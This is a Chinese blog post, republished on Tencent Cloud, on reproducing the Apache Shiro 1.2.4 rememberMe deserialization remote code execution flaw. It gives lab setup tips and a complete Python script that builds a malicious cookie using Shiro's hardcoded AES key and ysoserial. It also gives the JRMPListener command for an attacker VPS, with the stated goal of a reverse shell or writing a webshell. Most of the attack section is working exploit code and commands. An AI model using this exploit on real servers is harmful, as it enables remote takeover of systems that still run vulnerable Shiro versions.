首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >Apache Shiro反序列化远程代码执行复现

Apache Shiro反序列化远程代码执行复现

作者头像
洛米唯熊
发布2019-07-25 15:26:42
3.5K0
发布2019-07-25 15:26:42
举报
文章被收录于专栏:洛米唯熊洛米唯熊

影响版本

Apache Shiro <= 1.2.4

利用组件

org.apache.commons中的commons-collections4(理论上commons-collections2也有)

利用位置

任意http请求中cookie处rememberMe参数

利用位置

环境搭建难点

Shiro利用maven编译有很多坑点,鉴于过于痛苦,我列出主要坑点

  1. 机器需要安装mvn、svn命令
  2. jdk必须为1.6
  3. maven版本最好为3.1.1

解决上面的环境需求,基本上不会编译失败。

如果你实在是编译失败到没有信心,可以使用我提供的war包: https://pan.baidu.com/s/1dSHR21IQbrLHpaSQ1TI23A

提取码: zg4h

部署war包很简单,只需要将其放到tomcat中的webapps目录下,它将会自动解压,当然它的默认名称是samples-web-1.2.4,为了访问方便我们可以重命名为shiro

shiro

利用步骤

利用环境准备

你需要在公网VPS上放置一个ysoserial,配合使用以下python脚本

shiro_exp_payload.py

import sys
import uuid
import base64
import subprocess
from Crypto.Cipher import AES


def encode_rememberme(command):
    popen = subprocess.Popen(['java', '-jar', 'ysoserial.jar', 'JRMPClient', command], stdout=subprocess.PIPE)
    BS = AES.block_size
    pad = lambda s: s + ((BS - len(s) % BS) * chr(BS - len(s) % BS)).encode()
    key = base64.b64decode("kPH+bIxk5D2deZiIxcaaaA==")
    iv = uuid.uuid4().bytes
    encryptor = AES.new(key, AES.MODE_CBC, iv)
    file_body = pad(popen.stdout.read())
    base64_ciphertext = base64.b64encode(iv + encryptor.encrypt(file_body))
    return base64_ciphertext


if __name__ == '__main__':
    payload = encode_rememberme(sys.argv[1])    
print "rememberMe={0}".format(payload.decode())
执行命令

1.先执行反弹shell的命令 2.在vps上执行如下命令

java -cp ysoserial.jar ysoserial.exploit.JRMPListener 1099 CommonsCollections4 "反弹shell的命令"

这里的命令,需要使用Java Runtime配合bash编码,CommonsCollections4也可以换成CommonsCollections2

3.使用python脚本

python shiro_exp_payload.py vpsip:1099

python脚本将生成cookie,你将cookie带入http请求中即可反弹shell

例如下图

带cookie访问

反弹shell

(我这里给出的是反弹shell,当然你可以利用echo写入shell什么的,只需要反弹shell的命令换成写shell的命令)

写shell的路径可根据下图参考

写shell路径

webshell

本文参与 腾讯云自媒体分享计划,分享自微信公众号。
原始发表:2019-05-31,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 洛米唯熊 微信公众号,前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体分享计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
目录
  • 影响版本
  • 利用组件
  • 利用位置
  • 环境搭建难点
  • 利用步骤
    • 利用环境准备
      • 执行命令
      领券
      问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档